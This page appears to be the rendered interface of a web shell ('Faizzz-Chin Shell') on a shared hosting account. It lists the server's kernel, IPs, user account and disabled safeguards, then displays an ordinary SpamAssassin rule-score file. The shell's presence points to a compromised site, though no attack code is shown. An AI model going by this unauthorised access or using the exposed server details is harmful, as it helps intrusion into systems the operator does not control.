SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-10 13:05:48
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : 72_scores.cf
score ACCT_PHISHING_MANY                    2.999 2.999 2.999 2.999
score AC_BR_BONANZA                         0.001 0.001 0.001 0.001
score AC_DIV_BONANZA                        0.001 0.001 0.001 0.001
score AC_FROM_MANY_DOTS                     1.670 2.499 1.670 2.499
score AC_HTML_NONSENSE_TAGS                 2.000 0.989 2.000 0.989
score AC_POST_EXTRAS                        2.499 1.000 2.499 1.000
score AC_SPAMMY_URI_PATTERNS1               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS10              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS11              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS12              1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS2               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS3               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS4               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS8               1.000 1.000 1.000 1.000
score AC_SPAMMY_URI_PATTERNS9               1.000 1.000 1.000 1.000
score ADMITS_SPAM                           1.999 1.999 1.999 1.999
score ADULT_DATING_COMPANY                  10.000 10.000 10.000 10.000
score ADVANCE_FEE_2_NEW_FORM                1.999 1.000 1.999 1.000
score ADVANCE_FEE_2_NEW_FRM_MNY             1.000 1.000 1.000 1.000
score ADVANCE_FEE_2_NEW_MONEY               0.001 0.001 0.001 0.001
score ADVANCE_FEE_3_NEW                     3.499 3.499 3.499 3.499
score ADVANCE_FEE_3_NEW_FRM_MNY             1.259 2.399 1.259 2.399
score ADVANCE_FEE_3_NEW_MONEY               0.340 0.001 0.340 0.001
score ADVANCE_FEE_4_NEW                     2.925 2.337 2.925 2.337
score ADVANCE_FEE_4_NEW_FRM_MNY             0.001 0.001 0.001 0.001
score ADVANCE_FEE_4_NEW_MONEY               2.446 0.590 2.446 0.590
score ADVANCE_FEE_5_NEW                     2.800 0.001 2.800 0.001
score ADVANCE_FEE_5_NEW_FRM_MNY             1.751 2.457 1.751 2.457
score ADVANCE_FEE_5_NEW_MONEY               2.489 0.001 2.489 0.001
score AD_PREFS                              0.250 0.250 0.250 0.250
score ALIBABA_IMG_NOT_RCVD_ALI              1.000 1.000 1.000 1.000
score AMAZON_IMG_NOT_RCVD_AMZN              2.500 2.499 2.500 2.499
score APP_DEVELOPMENT_FREEM                 1.000 1.000 1.000 1.000
score APP_DEVELOPMENT_NORDNS                1.000 1.000 1.000 1.000
score ARC_SIGNED                            0.001 0.001 0.001 0.001
score ARC_VALID                             0.001 0.001 0.001 0.001
score AXB_XMAILER_MIMEOLE_OL_024C2          0.001 0.001 0.001 0.001
score AXB_XMAILER_MIMEOLE_OL_1ECD5          1.298 0.001 1.298 0.001
score BEBEE_IMG_NOT_RCVD_BB                 1.000 1.000 1.000 1.000
score BIGNUM_EMAILS_FREEM                   1.861 1.139 1.861 1.139
score BIGNUM_EMAILS_MANY                    2.598 2.999 2.598 2.999
score BITCOIN_BOMB                          1.000 1.000 1.000 1.000
score BITCOIN_DEADLINE                      2.999 2.999 2.999 2.999
score BITCOIN_EXTORT_01                     1.000 1.000 1.000 1.000
score BITCOIN_EXTORT_02                     1.000 1.000 1.000 1.000
score BITCOIN_IMGUR                         1.000 1.000 1.000 1.000
score BITCOIN_MALF_HTML                     3.393 2.455 3.393 2.455
score BITCOIN_MALWARE                       3.499 3.401 3.499 3.401
score BITCOIN_OBFU_SUBJ                     1.000 1.000 1.000 1.000
score BITCOIN_ONAN                          0.702 2.332 0.702 2.332
score BITCOIN_PAY_ME                        1.000 1.000 1.000 1.000
score BITCOIN_SPAM_01                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_02                       2.499 2.500 2.499 2.500
score BITCOIN_SPAM_03                       2.499 2.499 2.499 2.499
score BITCOIN_SPAM_04                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_05                       0.001 2.499 0.001 2.499
score BITCOIN_SPAM_06                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_07                       3.253 2.342 3.253 2.342
score BITCOIN_SPAM_08                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_09                       1.499 0.560 1.499 0.560
score BITCOIN_SPAM_10                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_11                       1.000 1.000 1.000 1.000
score BITCOIN_SPAM_12                       1.000 1.000 1.000 1.000
score BITCOIN_SPF_ONLYALL                   0.001 1.000 0.001 1.000
score BITCOIN_TOEQFM                        3.499 3.499 3.499 3.499
score BITCOIN_VISTA                         3.254 0.001 3.254 0.001
score BITCOIN_XPRIO                         1.505 0.969 1.505 0.969
score BITCOIN_YOUR_INFO                     2.746 2.999 2.746 2.999
score BODY_EMAIL_419_FRAUD_GM_LOOSE         0.999 0.999 0.999 0.999
score BODY_URI_ONLY                         1.327 1.272 1.327 1.272
score BOGUS_MIME_VERSION                    3.499 3.499 3.499 3.499
score BOGUS_MSM_HDRS                        1.000 1.000 1.000 1.000
score BOMB_FREEM                            1.000 1.000 1.000 1.000
score BOMB_MONEY                            1.000 1.000 1.000 1.000
score BTC_ORG                               1.000 1.000 1.000 1.000
score BULK_RE_SUSP_NTLD                     1.000 1.000 1.000 1.000
score CANT_SEE_AD                           1.000 1.000 1.000 1.000
score COMMENT_GIBBERISH                     1.000 1.000 1.000 1.000
score COMPENSATION                          1.499 1.254 1.499 1.254
score CONTENT_AFTER_HTML                    1.000 1.000 1.000 1.000
score CONTENT_AFTER_HTML_WEAK               1.000 1.000 1.000 1.000
score CTE_8BIT_MISMATCH                     0.999 0.637 0.999 0.637
score DATE_IN_FUTURE_Q_PLUS                 3.599 3.799 3.599 3.799
score DAY_I_EARNED                          1.000 1.000 1.000 1.000
score DKIMWL_BL                             0.001 1.005 0.001 1.005
score DKIMWL_BLOCKED                        0.001 0.001 0.001 0.001
score DKIMWL_WL_HIGH                        0.001 -0.001 0.001 -0.001
score DKIMWL_WL_MED                         0.001 -0.268 0.001 -0.268
score DKIMWL_WL_MEDHI                       0.001 -0.001 0.001 -0.001
score DOS_BODY_HIGH_NO_MID                  3.699 3.658 3.699 3.658
score DOTGOV_IMAGE                          1.000 1.000 1.000 1.000
score DSN_NO_MIMEVERSION                    1.999 1.999 1.999 1.999
score DYNAMIC_IMGUR                         3.999 3.999 3.999 3.999
score EBAY_IMG_NOT_RCVD_EBAY                1.000 1.000 1.000 1.000
score ENCRYPTED_MESSAGE                     -0.999 -1.000 -0.999 -1.000
score END_FUTURE_EMAILS                     2.499 2.107 2.499 2.107
score ENVFROM_GOOG_TRIX                     1.000 1.000 1.000 1.000
score FACEBOOK_IMG_NOT_RCVD_FB              1.000 1.000 1.000 1.000
score FBI_MONEY                             1.000 1.000 1.000 1.000
score FBI_SPOOF                             0.001 1.916 0.001 1.916
score FILL_THIS_FORM                        0.001 0.001 0.001 0.001
score FONT_INVIS_DIRECT                     1.000 1.000 1.000 1.000
score FONT_INVIS_DOTGOV                     1.000 1.000 1.000 1.000
score FONT_INVIS_HTML_NOHTML                1.000 1.000 1.000 1.000
score FONT_INVIS_LONG_LINE                  1.343 2.739 1.343 2.739
score FONT_INVIS_MSGID                      2.499 2.499 2.499 2.499
score FONT_INVIS_NORDNS                     2.499 1.212 2.499 1.212
score FONT_INVIS_POSTEXTRAS                 0.001 1.389 0.001 1.389
score FORM_FRAUD                            0.999 1.000 0.999 1.000
score FORM_FRAUD_3                          1.883 1.146 1.883 1.146
score FORM_FRAUD_5                          0.001 0.001 0.001 0.001
score FOUND_YOU                             2.910 3.249 2.910 3.249
score FREEMAIL_FORGED_FROMDOMAIN            0.001 0.001 0.001 0.001
score FREEM_FRNUM_UNICD_EMPTY               1.000 1.000 1.000 1.000
score FRNAME_IN_MSG_XPRIO_NO_SUB            1.000 1.000 1.000 1.000
score FROM_ADDR_WS                          2.999 0.001 2.999 0.001
score FROM_BANK_NOAUTH                      0.001 0.999 0.001 0.999
score FROM_FMBLA_NDBLOCKED                  0.001 0.001 0.001 0.001
score FROM_FMBLA_NEWDOM                     0.001 1.499 0.001 1.499
score FROM_FMBLA_NEWDOM14                   0.001 0.999 0.001 0.999
score FROM_FMBLA_NEWDOM28                   0.001 0.001 0.001 0.001
score FROM_GOV_DKIM_AU                      0.001 -0.839 0.001 -0.839
score FROM_GOV_REPLYTO_FREEMAIL             0.001 1.000 0.001 1.000
score FROM_GOV_SPOOF                        0.001 1.000 0.001 1.000
score FROM_IN_TO_AND_SUBJ                   2.699 2.599 2.699 2.599
score FROM_LONG_DOM                         1.499 1.499 1.499 1.499
score FROM_LONG_DOM_MINFP                   2.499 2.499 2.499 2.499
score FROM_MISSP_FREEMAIL                   1.997 0.001 1.997 0.001
score FROM_MISSP_MSFT                       0.001 0.001 0.001 0.001
score FROM_MISSP_REPLYTO                    0.001 0.001 0.001 0.001
score FROM_MISSP_SPF_FAIL                   0.001 0.001 0.001 0.001
score FROM_MISSP_TO_UNDISC                  2.413 0.001 2.413 0.001
score FROM_MISSP_USER                       0.001 0.001 0.001 0.001
score FROM_NEWDOM_BTC                       0.001 1.000 0.001 1.000
score FROM_NTLD_LINKBAIT                    1.226 0.071 1.226 0.071
score FROM_NTLD_REPLY_FREEMAIL              0.996 1.999 0.996 1.999
score FROM_NUMBERO_NEWDOMAIN                0.001 1.000 0.001 1.000
score FROM_PAYPAL_SPOOF                     0.001 1.000 0.001 1.000
score FROM_SUSPICIOUS_NTLD                  0.499 0.499 0.499 0.499
score FROM_SUSPICIOUS_NTLD_FP               1.999 1.999 1.999 1.999
score FROM_UNBAL1                           2.899 2.638 2.899 2.638
score FROM_UNBAL2                           2.899 2.699 2.899 2.699
score FROM_WSP_TRAIL                        2.799 2.799 2.799 2.799
score FSL_BULK_SIG                          0.001 0.001 0.001 0.001
score FSL_CTYPE_WIN1251                     0.001 0.001 0.001 0.001
score FSL_NEW_HELO_USER                     0.001 0.001 0.001 0.001
score FUZZY_CLICK_HERE                      3.499 2.577 3.499 2.577
score FUZZY_DR_OZ                           1.167 0.001 1.167 0.001
score FUZZY_IMPORTANT                       3.491 2.499 3.491 2.499
score FUZZY_PRIVACY                         3.599 2.399 3.599 2.399
score FUZZY_SECURITY                        2.399 2.299 2.399 2.299
score FUZZY_WALLET                          2.500 0.240 2.500 0.240
score GAPPY_SALES_LEADS_FREEM               1.000 1.000 1.000 1.000
score GB_CUSTOM_HTM_URI                     1.499 1.499 1.499 1.499
score GB_FAKE_RF_SHORT                      1.000 1.999 1.000 1.999
score GB_FORGED_MUA_POSTFIX                 1.000 1.000 1.000 1.000
score GB_FREEMAIL_DISPTO                    0.001 0.001 0.001 0.001
score GB_FREEMAIL_DISPTO_NOTFREEM           0.500 0.499 0.500 0.499
score GB_GOOGLE_OBFUR                       0.750 0.750 0.750 0.750
score GB_HASHBL_BTC                         0.001 4.169 0.001 4.169
score GB_STORAGE_GOOGLE_EMAIL               1.000 1.000 1.000 1.000
score GOOGLE_DOCS_PHISH                     1.000 1.000 1.000 1.000
score GOOGLE_DOCS_PHISH_MANY                1.000 1.000 1.000 1.000
score GOOGLE_DOC_SUSP                       1.000 1.000 1.000 1.000
score GOOGLE_DRIVE_REPLY_BAD_NTLD           1.000 1.000 1.000 1.000
score GOOG_MALWARE_DNLD                     1.000 1.000 1.000 1.000
score GOOG_REDIR_FRAUD                      1.500 1.499 1.500 1.499
score GOOG_REDIR_HTML_ONLY                  0.001 0.001 0.001 0.001
score GOOG_REDIR_NORDNS                     0.001 0.001 0.001 0.001
score GOOG_REDIR_NOTRDNS                    1.499 1.499 1.499 1.499
score GOOG_REDIR_SHORT                      1.000 1.000 1.000 1.000
score GOOG_REDIR_STATICRDNS                 1.499 1.499 1.499 1.499
score GOOG_STO_EMAIL_PHISH                  2.400 2.523 2.400 2.523
score GOOG_STO_HTML_PHISH                   1.000 1.000 1.000 1.000
score GOOG_STO_HTML_PHISH_MANY              1.000 1.000 1.000 1.000
score GOOG_STO_IMG_HTML                     2.999 2.999 2.999 2.999
score GOOG_STO_IMG_NOHTML                   2.500 2.109 2.500 2.109
score GOOG_STO_NOIMG_HTML                   3.000 2.999 3.000 2.999
score HAS_X_NO_RELAY                        1.000 1.000 1.000 1.000
score HAS_X_OUTGOING_SPAM_STAT              1.000 1.000 1.000 1.000
score HDRS_LCASE                            0.100 0.099 0.100 0.099
score HDRS_MISSP                            2.499 1.770 2.499 1.770
score HDR_ORDER_FTSDMCXX_DIRECT             0.943 0.124 0.943 0.124
score HDR_ORDER_FTSDMCXX_NORDNS             1.653 3.218 1.653 3.218
score HEADER_FROM_DIFFERENT_DOMAINS         0.250 0.001 0.250 0.001
score HELO_NO_DOMAIN                        0.001 0.001 0.001 0.001
score HEXHASH_WORD                          1.000 1.000 1.000 1.000
score HK_CTE_RAW                            1.000 1.000 1.000 1.000
score HK_NAME_FM_MR_MRS                     1.500 0.069 1.500 0.069
score HK_NAME_MR_MRS                        0.999 0.999 0.999 0.999
score HK_RANDOM_ENVFROM                     1.000 0.001 1.000 0.001
score HK_RANDOM_FROM                        0.999 0.999 0.999 0.999
score HK_RANDOM_REPLYTO                     0.999 0.999 0.999 0.999
score HK_RCVD_IP_MULTICAST                  1.999 1.000 1.999 1.000
score HK_SCAM                               0.858 0.001 0.858 0.001
score HOSTED_IMG_DIRECT_MX                  3.499 3.499 3.499 3.499
score HOSTED_IMG_DQ_UNSUB                   1.000 1.000 1.000 1.000
score HOSTED_IMG_FREEM                      1.000 1.000 1.000 1.000
score HOSTED_IMG_MULTI                      1.000 1.000 1.000 1.000
score HOSTED_IMG_MULTI_PUB_01               0.001 1.982 0.001 1.982
score HREF_EMPTY_NORDNS                     0.256 0.001 0.256 0.001
score HREF_EMPTY_PHPMAIL                    1.000 1.000 1.000 1.000
score HREF_EMPTY_XANTIABUSE                 1.000 1.000 1.000 1.000
score HREF_EMPTY_XAUTHED                    1.000 1.000 1.000 1.000
score HTML_BADATTR                          0.999 0.999 0.999 0.999
score HTML_ENTITY_ASCII                     2.486 1.625 2.486 1.625
score HTML_ENTITY_ASCII_TINY                1.000 2.999 1.000 2.999
score HTML_OFF_PAGE                         1.000 1.000 1.000 1.000
score HTML_SHRT_CMNT_OBFU_MANY              1.000 1.000 1.000 1.000
score HTML_SINGLET_MANY                     1.860 2.499 1.860 2.499
score HTML_TEXT_INVISIBLE_FONT              0.244 0.884 0.244 0.884
score HTML_TEXT_INVISIBLE_STYLE             0.001 0.434 0.001 0.434
score IMG_ONLY_FM_DOM_INFO                  1.110 0.779 1.110 0.779
score JH_SPAMMY_HEADERS                     1.000 3.198 1.000 3.198
score JH_SPAMMY_PATTERN01                   1.000 1.000 1.000 1.000
score JH_SPAMMY_PATTERN02                   1.000 1.000 1.000 1.000
score KHOP_FAKE_EBAY                        0.102 0.001 0.102 0.001
score KHOP_HELO_FCRDNS                      0.399 0.400 0.399 0.400
score LEADING_MANUFACTURER                  1.000 1.204 1.000 1.204
score LINKEDIN_IMG_NOT_RCVD_LNKN            1.000 1.000 1.000 1.000
score LIST_PRTL_PUMPDUMP                    1.000 1.000 1.000 1.000
score LIST_PRTL_SAME_USER                   1.000 1.000 1.000 1.000
score LONGLN_LOW_CONTRAST                   2.499 2.499 2.499 2.499
score LONG_HEX_URI                          2.999 2.999 2.999 2.999
score LONG_IMG_URI                          2.499 2.291 2.499 2.291
score LONG_INVISIBLE_TEXT                   2.999 1.855 2.999 1.855
score LOTS_OF_MONEY                         0.010 0.010 0.010 0.010
score LOTTO_AGENT                           1.499 1.499 1.499 1.499
score LOTTO_DEPT                            1.999 1.999 1.999 1.999
score LUCRATIVE                             1.000 1.000 1.000 1.000
score MALFORMED_FREEMAIL                    3.299 2.061 3.299 2.061
score MALF_HTML_B64                         1.000 1.000 1.000 1.000
score MALWARE_NORDNS                        2.259 1.000 2.259 1.000
score MALWARE_PASSWORD                      1.000 1.000 1.000 1.000
score MALW_ATTACH                           2.599 2.599 2.599 2.599
score MANY_HDRS_LCASE                       0.100 0.100 0.100 0.100
score MANY_SPAN_IN_TEXT                     1.145 0.001 1.145 0.001
score MANY_SUBDOM                           3.299 2.546 3.299 2.546
score MAY_BE_FORGED                         1.657 1.029 1.657 1.029
score MILLION_EUR                           1.289 0.471 1.289 0.471
score MILLION_HUNDRED                       0.001 0.001 0.001 0.001
score MIMEOLE_DIRECT_TO_MX                  0.001 1.990 0.001 1.990
score MIME_NO_TEXT                          0.424 0.001 0.424 0.001
score MIXED_AREA_CASE                       1.000 1.000 1.000 1.000
score MIXED_CENTER_CASE                     2.499 2.499 2.499 2.499
score MIXED_ES                              3.399 2.499 3.399 2.499
score MIXED_FONT_CASE                       1.000 1.000 1.000 1.000
score MIXED_HREF_CASE                       1.999 1.999 1.999 1.999
score MIXED_IMG_CASE                        1.000 1.000 1.000 1.000
score MONERO_DEADLINE                       1.000 1.000 1.000 1.000
score MONERO_EXTORT_01                      1.000 1.000 1.000 1.000
score MONERO_MALWARE                        1.000 1.000 1.000 1.000
score MONERO_PAY_ME                         1.000 1.000 1.000 1.000
score MONEY_ATM_CARD                        0.001 1.268 0.001 1.268
score MONEY_FORM                            0.001 0.001 0.001 0.001
score MONEY_FORM_SHORT                      1.991 0.001 1.991 0.001
score MONEY_FRAUD_3                         3.437 3.200 3.437 3.200
score MONEY_FRAUD_5                         0.001 0.001 0.001 0.001
score MONEY_FRAUD_8                         0.001 0.001 0.001 0.001
score MONEY_FREEMAIL_REPTO                  1.300 1.051 1.300 1.051
score MONEY_FROM_41                         1.271 0.673 1.271 0.673
score MONEY_NOHTML                          2.092 0.562 2.092 0.562
score MSGID_DOLLARS_URI_IMG                 1.000 1.000 1.000 1.000
score MSGID_HDR_MALF                        1.000 1.000 1.000 1.000
score MSM_PRIO_REPTO                        1.347 1.911 1.347 1.911
score NA_DOLLARS                            1.499 1.499 1.499 1.499
score NEWEGG_IMG_NOT_RCVD_NEGG              1.000 1.000 1.000 1.000
score NEW_PRODUCTS                          1.249 1.249 1.249 1.249
score NICE_REPLY_A                          -1.629 -1.683 -1.629 -1.683
score NORDNS_LOW_CONTRAST                   0.001 0.001 0.001 0.001
score NO_FM_NAME_IP_HOSTN                   0.001 0.001 0.001 0.001
score NSL_RCVD_FROM_USER                    0.001 0.001 0.001 0.001
score NSL_RCVD_HELO_USER                    0.001 0.835 0.001 0.835
score OBFU_BITCOIN                          1.000 1.000 1.000 1.000
score ODD_FREEM_REPTO                       2.999 1.852 2.999 1.852
score PAYPAL_PHISH_07                       3.109 0.001 3.109 0.001
score PAYPAL_PHISH_08                       1.000 1.000 1.000 1.000
score PAYPAL_PHISH_09                       1.000 1.000 1.000 1.000
score PDS_BAD_THREAD_QP_64                  0.999 0.999 0.999 0.999
score PDS_BTC_ID                            0.499 0.499 0.499 0.499
score PDS_BTC_MSGID                         0.682 0.489 0.682 0.489
score PDS_DBL_URL_LINKBAIT                  2.499 2.499 2.499 2.499
score PDS_FRNOM_TODOM_DBL_URL               0.001 0.001 0.001 0.001
score PDS_FRNOM_TODOM_NAKED_TO              0.926 1.014 0.926 1.014
score PDS_FROM_2_EMAILS                     3.499 3.499 3.499 3.499
score PDS_FROM_NAME_TO_DOMAIN               1.999 1.221 1.999 1.221
score PDS_HELO_SPF_FAIL                     0.001 0.001 0.001 0.001
score PDS_NAKED_TO_NUMERO                   1.999 1.999 1.999 1.999
score PDS_OTHER_BAD_TLD                     1.999 1.999 1.999 1.999
score PDS_TONAME_EQ_TOLOCAL_FREEM_FORGE     0.001 0.001 0.001 0.001
score PHISH_ATTACH                          2.699 2.699 2.699 2.699
score PHISH_AZURE_CLOUDAPP                  3.500 3.500 3.500 3.500
score PHISH_FBASEAPP                        1.000 1.000 1.000 1.000
score PHP_NOVER_MUA                         1.000 1.000 1.000 1.000
score PHP_ORIG_SCRIPT                       1.000 1.000 1.000 1.000
score PHP_SCRIPT                            2.499 2.499 2.499 2.499
score PHP_SCRIPT_MUA                        1.000 1.000 1.000 1.000
score POSSIBLE_PAYPAL_PHISH_02              1.000 1.000 1.000 1.000
score POSSIBLE_PAYPAL_PHISH_03              1.000 1.000 1.000 1.000
score POSSIBLE_PAYPAL_PHISH_04              1.102 1.000 1.102 1.000
score POSSIBLE_PAYPAL_PHISH_10              1.499 0.001 1.499 0.001
score POSSIBLE_PAYPAL_PHISH_11              1.000 1.000 1.000 1.000
score POSSIBLE_PAYPAL_PHISH_12              1.000 1.000 1.000 1.000
score PP_MIME_FAKE_ASCII_TEXT               1.000 0.240 1.000 0.240
score PP_TOO_MUCH_UNICODE02                 0.500 0.500 0.500 0.500
score PP_TOO_MUCH_UNICODE05                 1.000 1.000 1.000 1.000
score PUMPDUMP                              1.000 1.000 1.000 1.000
score PUMPDUMP_MULTI                        1.000 1.000 1.000 1.000
score RAND_HEADER_LIST_SPOOF                1.000 1.000 1.000 1.000
score RAND_HEADER_MANY                      2.068 1.000 2.068 1.000
score RAND_MKTG_HEADER                      1.000 1.999 1.000 1.999
score RATWARE_NO_RDNS                       2.130 2.670 2.130 2.670
score RCVD_DOTEDU_SHORT                     1.000 1.000 1.000 1.000
score RCVD_DOTEDU_SUSP_URI                  1.000 1.000 1.000 1.000
score RCVD_IN_IADB_DMARC                    0.001 0.001 0.001 0.001
score RCVD_IN_IADB_ESP                      0.001 -0.001 0.001 -0.001
score RCVD_IN_MSPIKE_BL                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H2                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H3                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H4                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_H5                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L2                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L3                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L4                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L5                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_WL                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_ZBI                    0.001 0.001 0.001 0.001
score RDNS_NUM_TLD_ATCHNX                   1.000 1.000 1.000 1.000
score RDNS_NUM_TLD_XM                       1.000 1.000 1.000 1.000
score REPTO_419_FRAUD                       2.999 2.999 2.999 2.999
score REPTO_419_FRAUD_AOL                   1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_AOL_LOOSE             1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_CNS                   1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_GM                    2.999 0.998 2.999 0.998
score REPTO_419_FRAUD_GM_LOOSE              0.999 0.999 0.999 0.999
score REPTO_419_FRAUD_HM                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_OL                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_PM                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_QQ                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YH                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YH_LOOSE              1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YJ                    1.000 1.000 1.000 1.000
score REPTO_419_FRAUD_YN                    1.000 1.000 1.000 1.000
score RISK_FREE                             2.700 2.599 2.700 2.599
score SCC_ISEMM_LID_1                       1.000 1.000 1.000 1.000
score SCC_ISEMM_LID_1B                      1.499 1.499 1.499 1.499
score SENDGRID_REDIR                        0.001 0.001 0.001 0.001
score SENDGRID_REDIR_PHISH                  1.000 1.000 1.000 1.000
score SEO_SUSP_NTLD                         1.000 1.000 1.000 1.000
score SHARE_50_50                           1.736 2.399 1.736 2.399
score SHOPIFY_IMG_NOT_RCVD_SFY              2.499 2.499 2.499 2.499
score SHORTENER_SHORT_IMG                   1.765 1.000 1.765 1.000
score SHORT_IMG_SUSP_NTLD                   0.808 0.381 0.808 0.381
score SHY_OBFU_EXPIRE                       1.000 1.000 1.000 1.000
score SHY_OBFU_PASSWORD                     1.000 1.000 1.000 1.000
score SPOOFED_FREEMAIL                      0.001 0.001 0.001 0.001
score SPOOFED_FREEMAIL_NO_RDNS              0.001 0.001 0.001 0.001
score SPOOFED_FREEM_REPTO                   0.001 0.352 0.001 0.352
score SPOOFED_FREEM_REPTO_CHN               0.001 1.000 0.001 1.000
score SPOOFED_FREEM_REPTO_RUS               0.001 1.000 0.001 1.000
score SPOOF_GMAIL_MID                       1.499 0.441 1.499 0.441
score STATIC_XPRIO_OLE                      1.999 1.999 1.999 1.999
score STOCK_TIP                             1.000 1.000 1.000 1.000
score SUBJ_ATTENTION                        0.499 0.499 0.499 0.499
score SUBJ_BRKN_WORDNUMS                    1.000 1.000 1.000 1.000
score SUBJ_BROKEN_WORD                      2.518 2.823 2.518 2.823
score SURBL_BLOCKED                         0.001 0.001 0.001 0.001
score SUSP_UTF8_WORD_COMBO                  2.395 2.290 2.395 2.290
score SUSP_UTF8_WORD_FROM                   1.999 1.999 1.999 1.999
score SUSP_UTF8_WORD_SUBJ                   1.999 1.999 1.999 1.999
score SYSADMIN                              1.000 1.000 1.000 1.000
score TAGSTAT_IMG_NOT_RCVD_TGST             1.000 1.000 1.000 1.000
score TARINGANET_IMG_NOT_RCVD_TN            1.000 1.000 1.000 1.000
score TEQF_USR_POLITE                       1.999 1.735 1.999 1.735
score THIS_AD                               0.699 0.930 0.699 0.930
score THIS_IS_ADV_SUSP_NTLD                 1.000 1.000 1.000 1.000
score TONLINE_FAKE_DKIM                     1.000 1.000 1.000 1.000
score TO_EQ_FM_DIRECT_MX                    0.001 0.001 0.001 0.001
score TO_EQ_FM_DOM_HTML_ONLY                0.513 0.701 0.513 0.701
score TO_EQ_FM_DOM_SPF_FAIL                 0.001 0.001 0.001 0.001
score TO_EQ_FM_SPF_FAIL                     0.001 0.001 0.001 0.001
score TO_IN_SUBJ                            0.100 0.099 0.100 0.099
score TO_NAME_SUBJ_NO_RDNS                  2.973 1.003 2.973 1.003
score TO_NO_BRKTS_HTML_IMG                  0.001 0.001 0.001 0.001
score TO_NO_BRKTS_HTML_ONLY                 1.999 1.999 1.999 1.999
score TO_NO_BRKTS_MSFT                      0.001 0.001 0.001 0.001
score TO_NO_BRKTS_NORDNS_HTML               0.001 0.001 0.001 0.001
score TO_NO_BRKTS_PCNT                      2.499 2.499 2.499 2.499
score TRANSFORM_LIFE                        2.292 2.499 2.292 2.499
score TVD_SPACE_ENCODED                     2.500 2.499 2.500 2.499
score TVD_SPACE_RATIO_MINFP                 2.499 2.500 2.499 2.500
score TW_GIBBERISH_MANY                     1.000 1.000 1.000 1.000
score UC_GIBBERISH_OBFU                     1.000 1.000 1.000 1.000
score UNDISC_FREEM                          3.099 0.198 3.099 0.198
score UNDISC_MONEY                          1.996 2.536 1.996 2.536
score UNICODE_OBFU_ASC                      2.499 0.001 2.499 0.001
score UNICODE_OBFU_ZW                       3.499 3.499 3.499 3.499
